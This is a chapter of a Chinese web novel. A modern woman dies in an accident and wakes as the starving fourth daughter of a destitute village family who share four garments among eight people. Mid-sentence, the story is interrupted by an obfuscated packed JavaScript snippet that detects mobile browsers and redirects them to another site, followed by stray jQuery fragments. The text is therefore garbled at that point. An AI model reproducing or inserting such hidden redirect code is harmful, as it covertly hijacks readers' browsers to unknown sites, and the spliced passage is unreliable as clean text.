烈日当空,蒸腾的热气从干旱的地底涌出,焦黑的大地仿佛被烈日灼烧过,露出一道道裂痕,细碎的粉尘浸透于光中,显着有些扭曲的灰蒙。
小小的村落在这片三面环山的土地上显得尤为破败不堪,拢共二十几家院落,赵满家在村西头,矮矮的茅草屋似是风一吹便会四散飘落。
天蒙蒙亮起,赵满睁开眼睛,粗糙的皮肤和喇人的稻草相比还是稍显稚嫩,一个不注意就被刮出一道道划痕。
十岁的女孩幽幽叹了口气,看着身上一道道划痕,以及睡在她身旁,和她一样没有衣服穿,光溜着身体的小妹,越发觉得自己命苦。
成为赵家四女短短五天,她已经觉得把这辈子吃的苦吃完了。
身为生在红旗下,长在春风里的五好少年,即使大学毕业以后她变成了社畜,天天忍受老板的各种pua和刁难,但好歹她吃不愁穿不愁,唯一需要考虑的问题就是怎么满足甲方的变态要求,比如做出五彩斑斓的黑之类的。
可现在她穿成了异世的赵家四女,说真的,她从来没有觉得人生这么苦过。
虽然她在现代天天口嗨命怎么这么苦,可她是真没想到原来现实生活中的苦是这样的。
赵家一共八口人,除了赵父赵母,她上面还有两个哥哥,一个姐姐,然后是一个弟弟,一个小妹,赵满排行老四。
一家八口只能凑的起四件衣服。
是的,没错,四件。
其余没衣服穿的只能窝在家里,三两岁的小孩或许还可以光着腚往外跑,但她已经十岁了,总不能也光着出去,所以这五天她一步也没出去过,一直在家里的茅草床上躺着,知道的一切都是从不满四岁的小妹嘴里掏出来的。
她话多了点,赵小妹还奇怪,四姐最近怎么回事,是不是磕着脑袋,变成傻子了。
面对饿得头大身小的小妹充满好奇的眼神,赵满勾起一抹苦涩的笑,摸了摸小妹枯黄的头发。
一抬眼又看见自己虽然稚嫩,却充满干纹,像极了鸡爪子的手,又是一阵眩晕。
她是五天前穿越过来的。
苦命的打工人好不容易周末不用加班,有了假期,她便约着好友出门玩,回家的途中却被一对吵架的夫妻高空抛物,正好砸中脑门,当场血流如注。
意识消散的最后一秒,她看见了好友惊恐的神情,和路人的大喊。
“死人啦!”
“快,快打120!”
血,好多血……
大量血液喷涌而出,混合着白白的东西,她想,或许这就是脑浆吧。
没想到有朝一日她能亲眼见证自己的脑浆被砸出来。
当然也有可能不是,毕竟那一刻她已经意识模糊,一句话都说不出来,身体重重的砸在了红石砖铺成的路面,鲜血洒在暗红色的红石砖上,重新给这些褪色的红石砖又上了一遍色。
好友冲过来想要抱她,却不敢动她,颤抖的连声音都发不出来。
赵满想安慰好友,毕竟她胆子这么小,看到她这样,肯定要做噩梦的。
可她已经没了力气,不仅脑袋在流血,就连口腔里也溢满了腥甜的血液,躺在地上也不断往外咳血,呛到了喉管,只能发出“嗬嗬”的声音。
意识消散的最后一秒,她看见了楼上那对高空抛物的夫妻惊恐的面孔。
“都怪你,你扔什么东西!现在怎么办,砸死人了!”
“这能怪我吗?要不是你和我吵,我怎么会扔东西!别再废话了,快想想怎么办吧!”
“我能怎么办,又不是我砸的,警察要抓也是抓你!”
争吵还在继续,赵满却已经闭上了眼睛。
再一睁眼,就变成了赵家四女。
这具身体是半夜饿死的,悄无声息的死去,没有一点痕迹,和她虽在一个屋子里的二姐和小妹都没有发现,不是她们不关心她,漠视她的死亡,而是她们也饿的半昏厥过去,没有精力再去关心别人。
赵满醒的时候饿的胃一抽一抽的疼,疼到痉挛,她费力的推了推二姐,气若游丝:“我饿,难受。”
赵家二姐也才十四岁,听到她的话迷糊的揉了揉眼睛,“我也饿,家里没东西吃了。”
刚穿过来的赵满饿的脑子迷糊,管不了这些,“我再不吃就要饿死了。”
或许是从没听过妹妹说这样的话,赵二丫终于有了动作,“我去给你倒点水喝。”
赵满无力的点点头,没有吃的也好歹混个水饱。
赵二丫也饿的难受,动作慢吞吞的,起身穿了衣服去给她找水,等她回来的时候,赵满已经饿的挂在床边,整个人昏昏沉沉。
“四丫,喝水。”
赵满无力吐槽这个名字,接过水猛灌,咕咚咕咚喝了好几口凉水,这才感觉自己活过来一点,饿的痉挛的胃终于有了些许慰藉,不再一抽一抽的疼。
可灌个水饱只能骗骗心理,骗不了身体,她还是全身无力,连呼吸都越发轻微。
赵二丫看她这样,可能是真怕她死了,嘟嘟囔囔骂了声晦气,“真是个饿死鬼!”起身给她找吃的。
这次给她拿回来的不是水,而是一团黑乎乎的看不清是什么的东西。
“给,吃,明天还给我,明天我还要出去找吃的,不吃点东西顶着扛不住。”
赵满接过黑乎乎的一团,狼吞虎咽。
人饿到极致是尝不出进嘴的东西是什么味道的,等咽下最后一口,赵满才后知后觉嘴里一股焦糊的苦味,着实难吃,但不管如何,总算填饱了肚子,她也终于有了点力气,“谢谢二姐。”
看着被赵满狼吞虎咽塞进嘴里的菜团子颇有些心疼的赵二丫听到这句话有些讶异,抬眼看了看她,终究是没说什么,上床翻了个身合上眼睛睡下。
独留赵满睁着一双在黑夜里发亮的眼睛直勾勾盯着透着月光的茅草屋顶。
这家的贫穷程度让她叹为观止,屋顶是茅草的,床铺也是几块没削平整的木板组成的,上面铺了些干草就是一张床,能挤得下三个人,她刚才喝水的碗也是豁口的,喝完以后还被赵二丫极为珍稀的拿过去收起来,像是生怕她给打碎了。
最关键的是……
赵满闭了闭眼,感受着身上聊胜于无的几片布料,好像稍微一用力就能裂开。
这是古代,不管男的女的应该都不能穿成这样出门吧。
这家一共就四件能穿出门的衣服,赵父赵母是固定有一件的,然后就是大哥赵大田已经十七岁,算是个壮劳力,也有一件,剩下的一件平常是二姐赵二丫和三哥三田换着穿,这几天是赵二丫穿,剩下她还有下面的两个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534054|186465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小弟小妹是没衣服穿的,平常只能窝在房间里。
她刚才对着月光看了看自己,手臂是惨白的,没有一丝血色,皮肉紧紧贴在骨头上,甚至能看见骨头的形状,按下去没有一点回弹。
要不是她接受了模模糊糊有一点原身的记忆,恐怕要以为自己穿进哪个恐怖小说里面了,她是个成了精的骷髅怪。
思考了片刻,赵满觉得自己脑子转不动了。
吃的太少,那点微乎其微的热量不足以支撑她思考这么多,慢慢地,她又合上眼,昏昏沉沉睡了过去。
第二天她醒来的时候,就看见头大身小的小妹已经醒了,乖乖地坐在床边拿干草编蛐蛐儿玩,赵二丫已经不在了。
本来她以为一天会过得很慢,谁知道这具身体实在太虚,动不动就睡过去,她怀疑是饿昏过去的,且她有证据。
赵家人一天只吃一顿饭。
虽然在她看来都算不上饭,一个黑乎乎的看不出来是什么东西的团子就是一餐。
赵满看着面无表情的二姐,再看看手里还没她手掌大的黑团子,试探性的放到嘴边。
她还没忘记二姐要她还团子的话,但她实在太饿,甚至怀疑自己要是不吃下这个黑乎团子,下一秒就要饿死过去。
赵二丫斜了她一眼,“吃吧!饿死鬼托生。”
赵满当没听见这句话。
换做以前,有人这么骂她,她肯定是要和她吵的。
但现在,不好意思,她眼里只有以前放在眼前她看都不会看一眼甚至嫌弃无比的黑乎团子。
再说了,骂两句怎么了,她又没真抢她吃的,她可以当听不见。
三两下吃完一个菜团子,这次赵满砸嘛出一点味来,好像是某种不知名的野菜和糠混合在一起的东西,很喇嗓子,但饿急了也没办法,再来两个她也吃得下。
可惜她今天的份已经吃完了。
赵满舔舔干裂的嘴唇,颇有些渴望的顶着赵二丫和赵小丫的黑团子瞧。
赵小丫瘦弱的身体一抖,连忙将团子塞进嘴里,梗着伶仃的脖子费力的吞咽。
赵满见状赶紧拍她的背给她顺下去,“你吃慢点,又没人抢你的。”
赵小丫被噎的翻白眼,听她这话,费力的瞅她一眼,好不容易咽下去,默默缩到墙角没再吭声。
一眨眼,这样的日子过去了五天。
再一次被烈日照着头顶的时候,赵满已经不想睁眼了。
甚至想干脆晒死她好了,这样好歹她能重新投胎,不用在这里吃苦了。
哦,不对,在这里不能说吃苦,她连苦都没得吃,她只能吃土。
赵满戳了戳赵小丫,“我想出去。”
赵小丫看了看这几天变得奇奇怪怪的四姐,细声细语,“没有衣服,出不去。”
赵满低头看了自己半晌,无力的瘫在干草上,她现在是想死都没力气。
也不知道现代的自己怎么样了,应该死的透透的了吧,就是不知道好友吓没吓坏,哎,她胆子最小了,连小虫子都怕,别提亲眼看见她死在眼前了。
赵满有些许惆怅。
她也不想占据这具身体,可她刚穿过来的时候似乎感受到了赵四丫的解脱,她在为自己的死亡感到高兴。
想到这,赵满又有些唏嘘。